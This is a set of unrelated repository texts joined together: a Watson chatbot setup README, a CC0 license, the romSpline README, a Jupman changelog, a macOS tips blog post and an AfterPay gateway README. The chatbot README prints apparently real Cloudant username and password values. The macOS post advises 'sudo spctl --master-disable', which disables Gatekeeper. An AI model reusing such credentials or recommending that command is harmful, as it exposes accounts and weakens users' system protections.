    cf create-service cloudantNoSQLDB Lite cloudant-service
    ```

1. Create a service key in the format `cf create-service-key <service_instance> <service_key>`. For example:

    ```bash
    cf create-service-key cloudant-service cloudant-service-key1
    ```

1. Retrieve the credentials from the service key using the command `cf service-key <service_instance> <service_key>`. For example:

    ```bash
    cf service-key cloudant-service cloudant-service-key1
    ```

   The output from this command is a JSON object, as in this example:

    ```JSON
    {
      "username": "3b0269d9-1683-4945-bd99-19439a2fbece-bluemix",
      "password": "4257ba3d74115fc7b83f291689427f0dbac960a040f546fa9ce14a3b0db3ca27",
      "host": "3b0269d9-1683-4945-bd99-19439a2fbece-bluemix.cloudant.com",
      "port": 443,
      "url"<EMAIL_ADDRESS>    }
    ```

1. Paste  the `url`, `password` and `username` values (without quotation marks) from the JSON into the `CLOUDANT_URL`, `CLOUDANT_PASS` and `CLOUDANT_USER` variables in the `.env` file. For example:

    ```
<EMAIL_ADDRESS>    CLOUDANT_USER=3b0269d9-1683-4945-bd99-19439a2fbece-bluemix
    CLOUDANT_PASS=4257ba3d74115fc7b83f291689427f0dbac960a040f546fa9ce14a3b0db3ca27
    ```

### Installing and starting the app

1. Install the demo app package into the local Node.js runtime environment:

    ```bash
    npm install
    ```

1. Start the app:

    ```bash
    node server.js
    ```

1. Point your browser to http://localhost:3000 to try out the app.

## Testing the app

At the first time, the application will create a database and store data that will be used. You will see a message 'Database connected' on console.

After your app is installed and running, experiment with it to see how it responds.

## Deploying to Bluemix

You can use Cloud Foundry to deploy your local version of the app to Bluemix.

1. In the project root directory, open the `manifest.yml` file:

    * In the `applications` section of the `manifest.yml` file, change the `name` value to a unique name for your version of the demo app.
    * In the `services` section, specify the name of the Conversation service instance you created for the demo app. If you do not remember the service name, use the `cf services` command to list all services you have created.
    * In the `env` section, add `WORKSPACE_ID` and specify the value from the `.env` file.

    The following example shows a modified `manifest.yml` file:

    ```YAML
    ---
    declared-services:
     conversation-service:
       label: conversation
       plan: free
    applications:
    - name: oi-chatbot
     command: npm start
     path: .
     memory: 256M
     instances: 1
     services:
     - conversation-service
     env:
       NPM_CONFIG_PRODUCTION: false
       WORKSPACE_ID: fdeab5e4-0ebe-4183-8d10-6e5557a6d842
    ```

1. Push the app to Bluemix:

    ```bash
    cf push
    ```

    Access your app on Bluemix at the URL specified in the command output.

## Troubleshooting

If you encounter a problem, you can check the logs for more information. To see the logs, run the `cf logs` command:

```bash
cf logs <application-name> --recent
```

[sample_git_url]: https://github.com/watson-developer-cloud/conversation-simple
[cf_docs]: (https://www.ibm.com/watson/developercloud/doc/getting_started/gs-cf.shtml)

repository: rodrigoareis/oi-chatbot

repo_name: rodrigoareis/oi-chatbot


text:
# License

My work is released under CC0 1.0.

All other rights remain with their respective owners.

### Summary
https://creativecommons.org/publicdomain/zero/1.0/

### Legal Code
https://creativecommons.org/publicdomain/zero/1.0/legalcode.txt

repository: whtahy/ideas

repo_name: whtahy/ideas


text:
# Welcome to romSpline #

romSpline is an easy-to-use Python code for compressing and interpolating 1d data using reduced-order modeling and statistical learning methods.

romSpline uses a greedy algorithm to find a nearly optimal subset of data samples that recovers the original data, to the requested tolerance, with a univariate spline interpolant. The output is the optimal subset of data and the corresponding reduced-order spline interpolant.

romSpline also contains code to estimate the prediction errors at new samples due to interpolation. These methods are largely based on Monte Carlo K-fold cross-validation studies. The mean of the resulting validation errors can be used as a global and useful upper bound on the interpolation errors.

This code should be useful for downsampling or compressing large data arrays to their essential components from which the original information can be constructed and new data predicted through interpolation. The degree of downsampling can be significant (e.g., orders of magnitude) for relatively smooth data. Furthermore, the distribution of the resulting reduced dataset provides information into features and structures of the data that might otherwise not be readily observed.

Future releases of romSpline will provide locally adapted interpolation error estimations based on more refined cross-validation studies. In addition, enhancements to the greedy algorithm will incorporate possible additional information about data quality (such as uncertainties in the data values being compressed and interpolated, if available).

### Installation ###

To set up romSpline, download or clone this repository and add the download path to your PYTHONPATH variable.

Alternatively, include the following lines in your Python code:

    import sys
    sys.path.append(<path to romspline>)
    import romspline

romSpline requires NumPy, SciPy, and H5py, which come with most Python distributions. For parallelization, which is useful but not necessary for some of the cross-validation routines, romSpline currently uses the concurrent.futures module. If you are using Python 2 and do not have concurrent.futures installed you may install it using pip:

    pip install futures

Future versions of romSpline will not use concurrent.futures.

### Getting started ###

See the accompanying IPython notebooks (romSpline_example.ipynb and errors_example.ipynb) for simple tutorials on using the code and estimating
errors of the reduced-order spline interpolant for predicting new values.

#### Author information ####
Copyright (C) 2015 Chad Galley (*crgalley "at" tapir "dot" caltech "dot" edu*).
Released under the MIT/X Consortium license.
Comments and requests welcome.

gha_language: Jupyter Notebook


text:
# Changelog

Jupman Jupyter Manager

https://jupman.softpython.org

## January 16th 2020 - 3.1

- removed jupman.init root parameter
- bugfixes
- upgraded nbsphinx from 0.3.4 to 0.5.0
- upgraded sphinx_rtd_theme from 0.2.5b1 to 0.4.3
- upgraded sphinx from 1.7.6 to 2.3.1
- upgraded recommonmark from 0.4.0 to 0.6.0

## December 29th 2019 - 3.0

- much simplified folder structure
  - [Issue 33](https://github.com/DavidLeoni/jupman/issues/33)

- removed solutions from header requirement
  - [Issue 32](https://github.com/DavidLeoni/jupman/issues/32)

- introduced tests (pytest, hypothesis)
- removed old_news in favor of changelog.md
- Latex:
    - much better PDF cover
    - using xelatex
    - set up unicode mappings
- several fixes

## September 24th 2018 - 2.0

- now using index.ipynb as home. Hurray !

## September 19th 2018 - 1.0

- fixed build.py
- added html templates examples
- cleaned toc (was showing too much when loading)

## August 26th 2018 - 0.9

- implemented generation of exercises from solutions
  [Issue 14(https://github.com/DavidLeoni/jupman/issues/14)
- reverted to old jupman.init() code
  [Issue 12](https://github.com/DavidLeoni/jupman/issues/12)

## August 12th 2018 - 0.8

- Prepended all functions in jupman.py with `jupman_`

- replaced index with proper homepage.
  see [Issue 11](https://github.com/DavidLeoni/jupman/issues/11)

  - from now on you need home.ipynb file, because replacing index.rst is a nightmare!
  - new index.rst is just a placeholder which simply redirects to home.html. Do not modify it.
  - put the toctree in toc.rst

- exercises ipynb can now stay in exercises/ folder; when exercises are zipped,
  jupman automatically adds to the zip the required site files.
  see [Issue 12](https://github.com/DavidLeoni/jupman/issues/12)

- Tried %run at beginning of notebooks, without much satisfaction
  (see discussion in [Issue 12](https://github.com/DavidLeoni/jupman/issues/12)):

- disabled toc by default in html files. To enable it, in python use `%run -i ../../jupman --toc`
- renamed past-exams directory from 'past-exams' to 'exams'
- created `info`, `error`, `warn`, `fatal` functions to `conf.py`
- introduced new variable `exercise_common_files` in `conf.py` for common files to be zipped
- added pages `exam-project` , `markdown` , `project-ideas`,
- added `cc-by.png`
- renamed `changelog.txt` to `changelog.md`
- now using templates with curly brackets in in templating, like `_JM_{some_property}`
- jupman.js : now when manually saving html in Jupyter, resulting html correctly hides cells
- Fixes https://github.com/DavidLeoni/jupman/issues/2 :
  now toc is present in local build for pdfs

## August 3rd 2018 - 0.7

- added jupman.py pytut() for displaying Python tutor in the cells
- added  jupman.py toc=False option to jupman.py init to disable toc
- removed  jupman.pyuseless networkx import from

- fixed usage indentation
- added changelog.txt

gha_license_id: NOASSERTION


text:
---
layout: post
title: Incomplete List of Softwares Recommended on Mac OS
excerpt: "I tend to re-install my system on a regular basis, and honestly I don't know why. Most of the time I'm just hoping it'll clean up the system garbage and run faster. Anyway, to keep a good track of the useful softwares on a Mac here is a list for them. Also includes some tips for MacOS that I found quite useful.
UPDATES: Have not re-installed my system for half a year now. yay!"
date: 2018-01-11
modifited: 2018-06-18
comments: true
pinned: true
tags: [MacOS]
---
#### [Sublime Text 3](https://www.sublimetext.com/3)
As always, definitely a must have text editor for Mac system. However, vim, emacs, TextMate are also great alternatives, especially TextMate, I've been using that a lot before until I found Sublime Text 3 to be more efficient for certain jobs.

There is another post for the packages for Sublime Text 3, might migrate that later with this one.

#### [iStat Menus](https://bjango.com/mac/istatmenus/)
Sleek app that shows the status of the system on the menu bar of your system. If the screen is not big enough, don't put too much information on the menu bar, instead put them in the drop-down menu. A easier way to see how much resources are left, especially for those with limited hard drive space.

#### [Parallels Desktop](https://www.parallels.com/products/desktop/)
I've tried a few virtual machine on Mac and Parallels is by far the best in my opinion. There are different settings for different user scenarios and overall the performance is great compared with other non-paid softwares.

#### Damaged .app
Starting from Sierra Apple has hidden the option in Security & Privacy to allow apps from anywhere by default. Just run this command in terminal and it should be back again. ```sudo spctl --master-disable```

#### Show/Hide Hidden Files
The easiest way to do it since 10.13 I believe is ```command + shift + .```

#### [PopClip](http://pilotmoon.com/popclip/)
Instantly copy/paste from a pop-up window. However, it is way powerful than that. With all these extentions to be added onto the little bar above your text, you can see the improvement in your efficiency. Some of the features I used the most are search with Google/Scholar, capitalize and paste plain text, etc.

#### [Cardhop](https://flexibits.com/cardhop)
Actually just found this sleek app while searching for new interesting extentions for PopClip. Wow! I should've installed it much much much earlier. This is like the perfect alternatives or add-on to the Mac Contacts app and believe it or not, you will get the AI feel while using this app.

#### [iTerm2](https://www.iterm2.com/)
Best terminal alternative for Terminal.app. Actually has become my default terminal on Mac now.
I use BetterTouchTool for windows snapping and the default of iTerm has a gap between two windows. The way to change it so there is no gap:
Preferences - Advanced - Windows - Terminal Windows resize smoothly - Yes

#### [Alfred 3](https://www.alfredapp.com/)
Personal favorite of Spotlight replacement. Of course, I miss the time when [Flashlight](http://flashlight.nateparrott.com/) is still functioning. To fully utilize Alfred 3, the powerpack is highly recommended and a must-have. There are tons of workflows out online to boost productivity. Although some of them require more keystroke than spotlight but overall the file indexing and content based search are better and more accurate.

#### [TermHere](https://hbang.ws/apps/termhere/)
Haven't seen a lot of people using it but if you use terminal a lot everyday and navigate through files using Finder + Alfred, you are going to love this tool. Bear in mind that you can select a file and do term here, it has to be a folder location.


text:
# Epinova.ArvatoPaymentGateway
Epinova's take on Arvato's AfterPay payment gateway API. All about invoices and down payment plans.

[![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=Epinova.ArvatoPaymentGateway&metric=alert_status)](https://sonarcloud.io/dashboard?id=Epinova.ArvatoPaymentGateway)
[![Build status](https://ci.appveyor.com/api/projects/status/0tkmpwvxrbnlpqmx/branch/master?svg=true)](https://ci.appveyor.com/project/Epinova_AppVeyor_Team/epinova-arvatopaymentgateway/branch/master)
![Tests](https://img.shields.io/appveyor/tests/Epinova_AppVeyor_Team/epinova-arvatopaymentgateway.svg)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)

## Getting Started

### Configuration

No configuration via config files are needed, but you can set up different API endpoint addresses for different environments via an appSetting.

web.config:
```xml
<configuration>
    <appSettings>
      <!-- Test environment: -->
      <add key="AfterPay.Api.BaseAddress" value="https://sandboxapi.horizonafs.com/eCommerceServicesWebApi/" />
      <!-- Production environment: -->
      <add key="AfterPay.Api.BaseAddress" value="https://api.afterpay.io/" />
    <appSettings>
</configuration>
```

If not provided the production URL is used by default.

### Add registry to IoC container

If using Structuremap:
```csharp
container.Configure(
    x =>
    {
        x.Scan(y =>
        {
            y.TheCallingAssembly();
            y.WithDefaultConventions();
        });

        x.AddRegistry<Epinova.ArvatoPaymentGateway.InvoiceGatewayRegistry>();
    });
```

If you cannot use the [structuremap registry](src/InvoiceGatewayRegistry.cs) provided with this module,
you can manually set up [InvoiceGatewayService](src/InvoiceGatewayService.cs) for [IInvoiceGatewayService](src/IInvoiceGatewayService.cs)
& [ICustomerLookupService](src/ICustomerLookupService.cs).

### Inject contract and use service

[Epinova.ArvatoPaymentGateway.IInvoiceGatewayService](src/IInvoiceGatewayService.cs) describes the main invoice gateway service.
[Epinova.ArvatoPaymentGateway.ICustomerLookupService](src/ICustomerLookupService.cs) describes the customer lookup service.

### Prerequisites

* [Epinova.Infrastructure](https://github.com/Epinova/Epinova.Infrastructure) >= v<IP_ADDRESS>.
* [EPiServer.Framework](http://www.episerver.com/web-content-management) >= v11.1 for logging purposes.
* [Automapper](https://github.com/AutoMapper/AutoMapper) >= v9.0 for mapping models.
* [StructureMap](http://structuremap.github.io/) >= v4.7 for registering service contract.

### Installing

The module is published on nuget.org.

```bat
nuget install Epinova.ArvatoPaymentGateway
```

## Target framework

* .NET Standard 2.0
* Tests target .NET Core 2.1

## Authors

* **Tarjei Olsen** - *Initial work* - [apeneve](https://github.com/apeneve)

See also the list of [contributors](https://github.com/Epinova/Epinova.ArvatoPaymentGateway/contributors) who participated in this project.

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details

## Further reading

[AfterPay API documentation](https://developer.afterpay.io/api)

gha_language: C#